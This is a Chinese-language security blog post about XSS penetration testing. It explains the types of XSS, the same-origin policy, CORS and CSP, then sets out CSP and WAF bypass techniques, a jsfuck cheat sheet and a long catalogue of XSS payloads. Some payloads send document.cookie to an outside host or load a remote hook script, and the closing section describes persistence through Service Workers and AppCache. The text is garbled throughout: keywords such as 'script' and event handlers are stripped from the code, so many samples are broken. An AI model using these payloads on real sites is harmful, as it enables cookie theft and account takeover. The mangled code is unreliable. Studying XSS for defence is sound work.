如何進行滲透測試XSS跨站攻擊檢測

網站安全發表於2019-10-08

國慶假期結束,這一節準備XSS跨站攻擊滲透測試中的利用點,上一節講了SQL隱碼攻擊的詳細流程,很多朋友想要諮詢具體在跨站攻擊上是如何實現和利用的,那麼我們Sinesafe滲透測試工程師為大家詳細的講講這個XSS是如何實現以及原理。

XSS全稱為Cross Site ing,為了和CSS分開簡寫為XSS,中文名為跨站指令碼。該漏洞發生在使用者端,是指在渲染過程中發生了不在預期過程中的Java程式碼執行。XSS通常被用於獲取Cookie、以受攻擊者的身份進行操作等行為。

如何進行滲透測試XSS跨站攻擊檢測

3.2.1.1. 反射型XSS

反射型XSS是比較常見和廣泛的一類,舉例來說,當一個網站的程式碼中包含類似下面的語句:<?php echo "<p>hello, $_GET['user']</p>";?> ,那麼在訪問時設定 /?user=</p><>alert("hack")</><p> ,則可執行預設好的Java程式碼。 反射型XSS通常出現在搜尋等功能中,需要被攻擊者點選對應的連結才能觸發,且受到XSS Auditor、No等防禦手段的影響較大。

3.2.1.2. 儲存型XSS

儲存型XSS相比反射型來說危害較大,在這種漏洞中,攻擊者能夠把攻擊載荷存入伺服器的資料庫中,造成持久化的攻擊。

3.2.1.3. DOM XSS

DOM型XSS不同之處在於DOM型XSS一般和伺服器的解析響應沒有直接關係,而是在Java指令碼動態執行的過程中產生的。

例如

<html>

<head>

<title>DOM Based XSS Demo</title>

<>

function xsstest()

{

var str = document.getElementById("input").value; document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";

}

</>

</head>

<body>

<div id="output"></div>

<input type="text" id="input" size=50 value="" />

<input type="button" value="submit" /> </body>

</html>

輸入 x' ='java:alert(/xss/) 即可觸發。

3.2.1.4. Blind XSS

Blind XSS是儲存型XSS的一種,它儲存在某些儲存中,當一個“受害者”訪問這個頁面時執行,並且在文件物件模型(DOM)中呈現payload。它被歸類為盲目的原因是因為它通常發生在通常不暴露給使用者的功能上。

3.2.2. 同源策略

3.2.2.1. 簡介

如何進行滲透測試XSS跨站攻擊檢測

同源策略限制了不同源之間如何進行資源互動,是用於隔離潛在惡意檔案的重要安全機制。是否同源由URL決定,URL由協議、域名、埠和路徑組成,如果兩個URL的協議、域名和埠相同,則表示他們同源。

3.2.2.1.1. file域的同源策略

在之前的瀏覽器中,任意兩個file域的URI被認為是同源的。本地磁碟上的任何HTML檔案都可以讀取本地磁碟上的任何其他檔案。

從Gecko 1.9開始,檔案使用了更細緻的同源策略,只有當原始檔的父目錄是目標檔案的祖先目錄時,檔案才能讀取另一個檔案。

3.2.2.1.2. cookie的同源策略

cookie使用不同的源定義方式,一個頁面可以為本域和任何父域設定cookie,只要是父域不是公共字尾(public suffix)即可。

不管使用哪個協議(HTTP/HTTPS)或埠號,瀏覽器都允許給定的域以及其任何子域名訪問cookie。設定 cookie時,可以使用 domain / path / secure 和 http-only 標記來限定其訪問性。

所以 和 的Cookie是共享的。

3.2.2.1.3. Flash/SilverLight跨域

瀏覽器的各種外掛也存在跨域需求。通常是透過在伺服器配置crossdomain.xml,設定本服務允許哪些域名的跨域訪問。

客戶端會請求此檔案,如果發現自己的域名在訪問列表裡,就發起真正的請求,否則不傳送請求。

3.2.2.2. 源的更改

同源策略認為域和子域屬於不同的域,例如

域名1.a.com 與 域名a.com / 域名1.a.com 與 域名2.a.com/ xxx.域名1.a.com 與 域名1.a.com 兩兩不同源。

對於這種情況,可以在兩個方面各自設定 document.damain='a.com' 來改變其源來實現以上任意兩個頁面之間的通訊。

另外因為瀏覽器單獨儲存埠號,這種賦值會導致埠號被重寫為 null 。

3.2.2.3. 跨源訪問

同源策略控制了不同源之間的互動,這些互動通常分為三類:

  • 通常允許跨域寫操作(Cross-origin writes)
  • 連結(links)
  • 重定向
  • 表單提交
  • 通常允許跨域資源嵌入(Cross-origin embedding)
  • 通常不允許跨域讀操作(Cross-origin reads)

可能嵌入跨源的資源的一些示例有:

  • < src="..."></> 標籤嵌入跨域指令碼。語法錯誤資訊只能在同源指令碼中捕捉到。
  • <link rel="stylesheet" href="..."> 標籤嵌入CSS。由於CSS的鬆散的語法規則,CSS的跨域需要一個設定正確的Content-Type 訊息頭。
  • <img> / <video> / <audio> 嵌入多媒體資源。
  • <object> <embed> 和 <applet> 的外掛。
  • @font-face 引入的字型。一些瀏覽器允許跨域字型( cross-origin fonts),一些需要同源字型(same-origin fonts)。
  • <frame> 和 <iframe> 載入的任何資源。站點可以使用X-Frame-Options訊息頭來阻止這種形式的跨域互動。

3.2.2.3.1. JSONP跨域

JSONP就是利用 <> 標籤的跨域能力實現跨域資料的訪問,請求動態生成的Java指令碼同時帶一個callback函式名作為引數。

服務端收到請求後,動態生成指令碼產生資料,並在程式碼中以產生的資料為引數呼叫callback函式。

3.2.2.3.2. 跨源指令碼API訪問

Java的APIs中,如 iframe.contentWindow , window.parent, window.open 和 window.opener 允許文件間相互引用。當兩個文件的源不同時,這些引用方式將對 window 和 location 物件的訪問新增限制。

window 允許跨源訪問的方法有

  • window.blur
  • window.close
  • window.focus
  • window.postMessage

window 允許跨源訪問的屬性有

  • window.closed
  • window.frames
  • window.length
  • window.location
  • window.opener
  • window.parent
  • window.self
  • window.top
  • window.window

其中 window.location 允許讀/寫,其他的屬性只允許讀

3.2.2.3.3. 跨源資料儲存訪問

儲存在瀏覽器中的資料,如 localStorage 和 IndexedDB,以源進行分割。每個源都擁有自己單獨的儲存空間,一個源中的Java指令碼不能對屬於其它源的資料進行讀寫操作。

3.2.2.4. CORS

CORS是一個W3C標準,全稱是”跨域資源共享”(Cross-origin resource sharing)。透過這個標準,可以允許瀏覽器讀取跨域的資源。

3.2.2.4.1. 常見返回頭

  • Access-Control-Allow-Origin
  • 宣告允許的源
  • Access-Control-Allow-Origin: <origin> | *
  • Access-Control-Expose-Headers
  • 宣告允許暴露的頭 e.g. Access-Control-Expose-Headers: X-My-Custom-Header,X-Another-Custom-Header
  • Access-Control-Max-Age
  • 宣告Cache時間
  • Access-Control-Max-Age: <delta-seconds>
  • Access-Control-Allow-Credentials
  • 宣告是否允許在請求中帶入
  • Access-Control-Allow-Credentials: true
  • Access-Control-Allow-Methods
  • 宣告允許的訪問方式
  • Access-Control-Allow-Methods: <method>[, <method>]*
  • Access-Control-Allow-Headers
  • 宣告允許的頭
  • Access-Control-Allow-Headers: <field-name>[, <field-name>]*

3.2.2.4.2. 常見請求頭

  • Origin
  • 指定請求的源
  • Origin: <origin>
  • Access-Control-Request-Method
  • 宣告請求使用的方法
  • Access-Control-Request-Method: <method>
  • Access-Control-Request-Headers
  • 宣告請求使用的header
  • Access-Control-Request-Headers: <field-name>[, <field-name>]*

3.2.2.4.3. 防禦建議

如何進行滲透測試XSS跨站攻擊檢測

如非必要不開啟CORS

  • 定義詳細的白名單,不使用萬用字元,僅配置所需要的頭
  • 配置 Vary: Origin 頭部
  • 如非必要不使用 Access-Control-Allow-Credentials
  • 限制快取的時間

3.2.2.5. 阻止跨源訪問

阻止跨域寫操作,可以檢測請求中的 CSRF token ,這個標記被稱為Cross-Site Request Forgery (CSRF) 標記。

阻止資源的跨站讀取,因為嵌入資源通常會暴露資訊,需要保證資源是不可嵌入的。但是多數情況下瀏覽器都不會遵守 Content-Type 訊息頭。例如如果在HTML文件中指定 <> 標記,則瀏覽器會嘗試將HTML解析為Java。

3.2.3. CSP

3.2.3.1. CSP是什麼?

Content Security Policy,簡稱 CSP。顧名思義,這個規範與內容安全有關,主要是用來定義頁面可以載入哪些資源,減少 XSS 的發生。

3.2.3.2. 配置

CSP策略可以透過 HTTP 頭資訊或者 meta 元素定義。

CSP 有三類:

  • Content-Security-Policy (Google Chrome)
  • X-Content-Security-Policy (Firefox)
  • X-WebKit-CSP (WebKit-based browsers, e.g. Safari)

HTTP header :

"Content-Security-Policy:" 策略

"Content-Security-Policy-Report-Only:" 策略

HTTP Content-Security-Policy 頭可以指定一個或多個資源是安全的,而Content-Security-Policy-Report-Only則是允許伺服器檢查(非強制)一個策略。多個頭的策略定義由優先採用最先定義的。

HTML Meta :

<meta http-equiv="content-security-policy" content="策略">

<meta http-equiv="content-security-policy-report-only" content="策略">

3.2.3.2.1. 指令說明

3.2.3.2.2. 關鍵字

  • -
  • 允許從任意url載入,除了 data: blob: filesystem: schemes
  • e.g. img-src -
  • none
  • 禁止從任何url載入資源
  • e.g. object-src 'none'
  • self
  • 只可以載入同源資源
  • e.g. img-src 'self'
  • data:
  • 可以透過data協議載入資源
  • e.g. img-src 'self' data:
  • domain.example.com
  • e.g. img-src domain.example.com
  • 只可以從特定的域載入資源
  • \*.example.com
  • e.g. img-src \*.example.com
  • 可以從任意域名.com的子域處載入資源
  • e.g. img-src https://域名.com
  • 只能從給定的域用https載入資源
  • https:
  • e.g. img-src https:
  • 只能從任意域用https載入資源
  • unsafe-inline
  • 允許內部資源執行程式碼例如style attribute,onclick或者是sicript標籤
  • e.g. -src 'unsafe-inline'
  • unsafe-eval
  • 允許一些不安全的程式碼執行方式,例如js的eval()
  • e.g. -src 'unsafe-eval'
  • nonce-<-value>'
  • 使用隨機的nonce,允許載入標籤上nonce屬性匹配的標籤
  • e.g. -src 'nonce-bm9uY2U='
  • <hash-algo>-<-value>'
  • 允許hash值匹配的程式碼塊被執行
  • e.g. -src 'sha256-<-value>'

3.2.3.2.3. 配置範例

允許執行內聯 JS 程式碼,但不允許載入外部資源

Content-Security-Policy: default-src 'self'; -src 'self' 'unsafe-inline';

3.2.3.3. Bypass

3.2.3.3.1. 預載入

瀏覽器為了增強使用者體驗,讓瀏覽器更有效率,就有一個預載入的功能,大體是利用瀏覽器空閒時間去載入指定的內容,然後快取起來。這個技術又細分為DNS-prefetch、subresource、prefetch、preconnect、prerender。

HTML5頁面預載入是用link標籤的rel屬性來指定的。如果csp頭有unsafe-inline,則用預載入的方式可以向外界發出請求,例如

<!-- 預載入某個頁面 -->

<link rel='prefetch' href='!-- firefox -->

<link rel='prerender' href='!-- chrome -->

<!-- 預載入某個圖片 -->

<link rel='prefetch' href='

<!-- DNS 預解析 -->

<link rel="dns-prefetch" href="

<!-- 特定檔案型別預載入 -->

<link rel='preload' href='//xxxxx/xx.js'><!-- chrome -->

另外,不是所有的頁面都能夠被預載入,當資源型別如下時,講阻止預載入操作:

  • URL中包含下載資源
  • 頁面中包含音訊、影片
  • POST、PUT和DELET操作的ajax請求
  • HTTP認證
  • HTTPS頁面
  • 含惡意軟體的頁面
  • 彈窗頁面
  • 佔用資源很多的頁面
  • 開啟了chrome developer tools開發工具

3.2.3.3.2. MIME Sniff

舉例來說,csp禁止跨站讀取指令碼,但是可以跨站讀img,那麼傳一個含有指令碼的img,再“< href=’’>“,這裡csp認為是一個img,繞過了檢查,如果網站沒有回正確的mime type,瀏覽器會進行猜測,就可能載入該img作為指令碼

3.2.3.3.3. 302跳轉

對於302跳轉繞過CSP而言,實際上有以下幾點限制:

  • 跳板必須在允許的域內。
  • 要載入的檔案的host部分必須跟允許的域的host部分一致

3.2.3.3.4. iframe

當可以執行程式碼時,可以建立一個源為 css js 等靜態檔案的frame,在配置不當時,該frame並不存在csp,則在該frame下再次建立frame,達到bypass的目的。同理,使用 ../../../ /%2e%2e%2f等可能觸發伺服器報錯的連結也可以到達相應的目的。

3.2.3.3.5. 其他

  • CND Bypass,如果網站信任了某個CDN, 那麼可利用相應的CDN bypass
  • Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
  • jQuery sourcemap
  • document.write(`<> //@ sourceMappingURL=`+document.cookie+`<\/>`);``
  • a標籤的ping屬性
  • For FireFox <META HTTP-EQUIV="refresh" CONTENT="0; url=data:text/html;,PHNjcmlwdD5hbGVydCgnSWhhdmVZb3VOb3cnKTs8L3NjcmlwdD4=">
  • <link rel="import" />
  • <meta http-equiv="refresh" content="0; url= />
  • 當-src為nonce或無限制,且base-uri無限制時,可透過 base 標籤修改根URL來bypass,如下載入了
  • <base href="
  • < nonce="correct value" src="/main.js"></>

3.2.4. XSS資料來源

3.2.4.1. URL

  • location
  • location.href
  • location.pathname
  • location.search
  • location.hash
  • document.URL
  • document.documentURI
  • document.baseURI

3.2.4.2. Navigation

  • window.name
  • document.referrer

3.2.4.3. Communication

  • Ajax
  • Fetch
  • WebSocket
  • PostMessage

3.2.4.4. Storage

  • Cookie
  • LocalStorage
  • SessionStorage

3.2.5. Sink

3.2.5.1. 執行Js

  • eval(payload)
  • setTimeout(payload, 100)
  • setInterval(payload, 100)
  • Function(payload)()
  • <>payload</>
  • <img src=x =payload>

3.2.5.2. 載入URL

  • location=java:alert(/xss/)
  • location.href=java:alert(/xss/)
  • location.assign(java:alert(/xss/))
  • location.replace(java:alert(/xss/))

3.2.5.3. 執行HTML

  • xx.innerHTML=payload
  • xx.outerHTML=payload
  • document.write(payload)
  • document.writeln(payload)

3.2.6. XSS保護

3.2.6.1. HTML過濾

使用一些白名單或者黑名單來過濾使用者輸入的HTML,以實現過濾的效果。例如DOMPurify等工具都是用該方式實現了XSS的保護。

3.2.6.2. X-Frame

X-Frame-Options 響應頭有三個可選的值:

  • DENY
  • 頁面不能被嵌入到任何iframe或frame中
  • SAMEORIGIN
  • 頁面只能被本站頁面嵌入到iframe或者frame中
  • ALLOW-FROM
  • 頁面允許frame或frame載入

3.2.6.3. XSS保護頭

基於 Webkit 核心的瀏覽器(比如Chrome)有一個名為XSS auditor的防護機制,如果瀏覽器檢測到了含有惡意程式碼的輸入被呈現在HTML文件中,那麼這段呈現的惡意程式碼要麼被刪除,要麼被轉義,惡意程式碼不會被正常的渲染出來。

而瀏覽器是否要攔截這段惡意程式碼取決於瀏覽器的XSS防護設定。

要設定瀏覽器的防護機制,則可使用X-XSS-Protection欄位 該欄位有三個可選的值

0: 表示關閉瀏覽器的XSS防護機制

1: 刪除檢測到的惡意程式碼, 如果響應報文中沒有看到X-XSS-Protection 欄位,那麼瀏覽器就認為X-XSS-Protection配置為1,這是瀏覽器的預設設定

1; mode=block: 如果檢測到惡意程式碼,在不渲染惡意程式碼

FireFox沒有相關的保護機制,如果需要保護,可使用No等相關外掛。

3.2.7. WAF Bypass

  • 利用<>標記
  • 利用html屬性
  • href
  • lowsrc
  • bgsound
  • background
  • value
  • action
  • dynsrc
  • 關鍵字
  • 利用回車拆分
  • 字串拼接(window["al" + "ert"])
  • 利用編碼繞過
  • jsfuck
  • String.fromCharCode
  • HTML
  • URL
  • hex(window["\x61\x6c\x65\x72\x74"])
  • unicode
  • utf7(+ADw-+AD4-alert('XSS')+ADsAPA-/+AD4-)
  • utf16
  • 大小寫混淆
  • 對標籤屬性值轉碼
  • 產生事件
  • css跨站解析
  • 長度限制bypass
  • eval(name)
  • eval(hash)
  • import
  • $.get
  • $.get
  • .
  • 使用 。繞過IP/域名
  • document['cookie'] 繞過屬性取值
  • 過濾引號用 “ ` “ 繞過

3.2.8.1. CSS 注入

CSS注入最早開始於利用CSS中的 expression() url() regex() 等函式或特性來引入外部的惡意程式碼,但是隨著瀏覽器的發展,這種方式被逐漸禁用,與此同時,出現了一些新的攻擊方式。

3.2.8.1.2. CSS selectors

利用CSS selectors完成攻擊的一個示例

3.2.8.1.3. Abusing Unicode Range

當可以插入CSS的時候,可以使用 font-face 配合 unicode-range 獲取目標網頁對應字符集。PoC如下

如何進行滲透測試XSS跨站攻擊檢測

當字元較多時,則可以結合 ::first-line 等CSS屬性縮小範圍,以獲取更精確的內容

3.2.8.2. Bypass Via Gadgets

3.2.8.2.1. 簡介

如何進行滲透測試XSS跨站攻擊檢測

一些網站會使用白名單或者一些基於DOM的防禦方式,對這些方式,有一種被稱為 Code Reuse 的攻擊方式可以繞過。該方式和二進位制攻防中的Gadget相似,使用目標中的合法程式碼來達到繞過防禦措施的目的。在論文 Code-Reuse Attacks for the Web: Breaking Cross-Site ing Mitigations via Gadgets 中有該方法的具體描述。

下面有一個簡單的例子,這個例子使用了 DOMPurify 來加固,但是因為引入了 jquery.mobile.js 導致可以被攻擊。

3.2.8.2.2. 例子

// index.php

<?php

$msg = $_GET['message'];

$msg = str_replace("\n", "",

$msg); $msg = _encode($msg);

?>

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>Preview</title>

< type="text/java" src="purify.js"></>

< type="text/java" src="jquery.js"></>

< type="text/java" src="jquery.mobile.js"></>

</head>

<body>

< type="text/java">

var d= atob('<?php echo $msg; ?>');

var cleanvar = DOMPurify.sanitize(d);

document.write(cleanvar);

</>

</body>

</html>

// playload

<div data-role=popup id='-->

&lt;&gt;alert(1)&lt;/&gt;'>

</div>

3.2.8.3. jsfuck cheat sheet

3.2.8.3.1. Basic values

  • undefined > [][[]]
  • false > ![]
  • true > !![]
  • NaN > +[![]]
  • 0 > +[]
  • 1 > +!+[]
  • 2 > !+[]+!+[]

3.2.8.3.2. Basic strings

  • '' > []+[]
  • 'undefined' > []+[][[]]
  • 'false' > []+![]
  • 'true' > []+!![]
  • 'NaN' > []+(+[![]])
  • '0' > []+(+[])
  • '1' > []+(+!+[])
  • '2' > []+(!+[]+!+[])
  • '10' > [+!+[]]+[+[]]
  • '11' > [+!+[]]+[+!+[]]
  • '100' > [+!+[]]+[+[]]+(+[])

3.2.8.3.3. Higher numbers

  • 10 > +([+!+[]]+[+[]])
  • 11 > +([+!+[]]+[+!+[]])
  • 100 > +([+!+[]]+[+[]]+(+[]))

3.2.8.3.4. String alphabet

  • 'a' > ([]+![])[+!+[]]
  • 'd' > ([]+[][[]])[+!+[]+!+[]]
  • 'e' > ([]+!+[])[+!+[]+!+[]+!+[]]
  • 'f' > ([]+![])[+[]]
  • 'i' > ([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]
  • 'l' > ([]+![])[+!+[]+!+[]]
  • 'n' > ([]+[][[]])[+!+[]]
  • 'r' > ([]+!+[])[+!+[]]
  • 's' > ([]+![])[+!+[]+!+[]+!+[]]
  • 't' > ([]+!+[])[+[]]
  • 'u' > ([]+!+[])[+!+[]+!+[]]

3.2.8.4. RPO(Relative Path Overwrite)

RPO(Relative Path Overwrite) 攻擊又稱為相對路徑覆蓋攻擊,依賴於瀏覽器和網路伺服器的反應,利用伺服器的 Web 快取技術和配置差異。

3.2.9. Payload

3.2.9.1. 常用

  • <>alert(/xss/)</>
  • <svg =alert(document.domain)>
  • <img src=document.domain =alert(document.domain)>
  • <M >
  • <marquee >
  • <a href=java:alert(document.domain)>M</a>
  • <body =alert(document.domain)>
  • <details open >
  • <embed src=java:alert(document.domain)>

3.2.9.2. 大小寫繞過

  • <>alert(1)</>
  • <>alert(1)</>
  • <>alert(1)</>
  • <>alert(1)</>
  • <>alert(1)</>
  • <img src=1 =alert(1)>
  • <iMg src=1 =alert(1)>
  • <ImG src=1 =alert(1)>
  • <img src=1 ="alert(&quot;M&quot;)">
  • <marquee >
  • <mArQuEe >
  • <MaRqUeE >

3.2.9.3. 各種alert

  • <>alert(1)</>
  • <>confirm(1)</>
  • <>prompt(1)</>
  • <>alert('1')</>
  • <>alert("1")</>
  • <>alert`1`</>
  • <>(alert)(1)</>
  • <>a=alert,a(1)</>
  • <>[1].find(alert)</>
  • <>top["al"+"ert"](1)</>
  • <>top["a"+"l"+"e"+"r"+"t"](1)</>
  • <>top[/al/.source+/ert/.source](1)</>
  • <>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</>

3.2.9.4. 偽協議

  • <a href=java:/0/,alert(%22M%22)>M</a>
  • <a href=java:/00/,alert(%22M%22)>M</a>
  • <a href=java:/000/,alert(%22M%22)>M</a>
  • <a href=java:/M/,alert(%22M%22)>M</a>

3.2.9.5. Chrome XSS auditor bypass

  • ?param=%20rel=import%3E
  • <base href=java:/M/><a href=,alert(1)>M</a>
  • <base href=java:/M/><iframe src=,alert(1)></iframe>

3.2.9.6. 長度限制

<>s+="l"</>

\...

<>eval(s)</>

3.2.9.7. jquery sourceMappingURL

</textarea><>var

a=1//@ sourceMappingURL=//xss.site</>

3.2.9.8. 圖片名

"><img src=x =alert(document.cookie)>.gif

3.2.9.9. 過期的payload

  • src=java:alert基本不可以用
  • css expression特性只在舊版本ie可用

3.2.9.10. css

<div style="background-image:url(java:alert(/xss/))">

<STYLE>@import'域名/xss.css';</STYLE>

3.2.9.11. markdown

  • [a](java:prompt(document.cookie))
  • [a](j a v a s c r i p t:prompt(document.cookie)) <&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  • ![a'"`=prompt(document.cookie)](x)
  • [notmalicious](java:window.=alert;throw%20document.cookie)
  • [a](data:text/html;,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
  • ![a](data:text/html;,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

3.2.9.12. iframe

<iframe ='

var sc = document.("scr" + "ipt");

sc.type = "text/javascr" + "ipt";

sc.src = "域名/js/hook.js"; document.body.(sc);

'

/>

  • <iframe src=java:alert(1)></iframe>
  • <iframe src="data:text/html,<iframe src=java:alert('M')></iframe>"></iframe>
  • <iframe src=data:text/html;,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
  • <iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
  • <iframe src= width=1366 height=768></iframe>
  • <iframe src=java:alert(1) width=1366 height=768></iframe

3.2.9.13. form

  • <form action=java:alert(1)><input type=submit>
  • <form><button formaction=java:alert(1)>M
  • <form><input formaction=java:alert(1) type=submit value=M>
  • <form><input formaction=java:alert(1) type=image value=M>
  • <form><input formaction=java:alert(1) type=image src=1>

3.2.9.14. meta

<META HTTP-EQUIV="Link" Content="<域名/xss.css>; REL=stylesheet">

3.2.10. 持久化

3.2.10.1. 基於儲存

有時候網站會將資訊儲存在Cookie或localStorage,而因為這些資料一般是網站主動儲存的,很多時候沒有對Cookie或localStorage中取出的資料做過濾,會直接將其取出並展示在頁面中,甚至存了JSON格式的資料時,部分站點存在 eval(data) 之類的呼叫。因此當有一個XSS時,可以把payload寫入其中,在對應條件下觸發。

在一些條件下,這種利用方式可能因為一些特殊字元造成問題,可以使用 String.fromCharCode 來繞過。

3.2.10.2. Service Worker

Service Worker可以攔截http請求,起到類似本地代理的作用,故可以使用Service Worker Hook一些請求,在請求中返回攻擊程式碼,以實現持久化攻擊的目的。

在Chrome中,可透過 chrome://inspect/#service-workers 來檢視Service Worker的狀態,並進行停止。

3.2.10.3. AppCache

在可控的網路環境下(公共wifi),可以使用AppCache機制,來強制儲存一些Payload,未清除的情況下,使用者訪問站點時對應的payload會一直存在。這節講了這麼多關於滲透測試中XSS跨站攻擊的檢測方法,如果對此有需求的朋友可以聯絡專業的網站安全公司來處理解決防患於未然,國內推薦Sine安全,綠盟,啟明星辰等等。


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31542418/viewspace-2658995/,如需轉載,請註明出處,否則將追究法律責任。

相關文章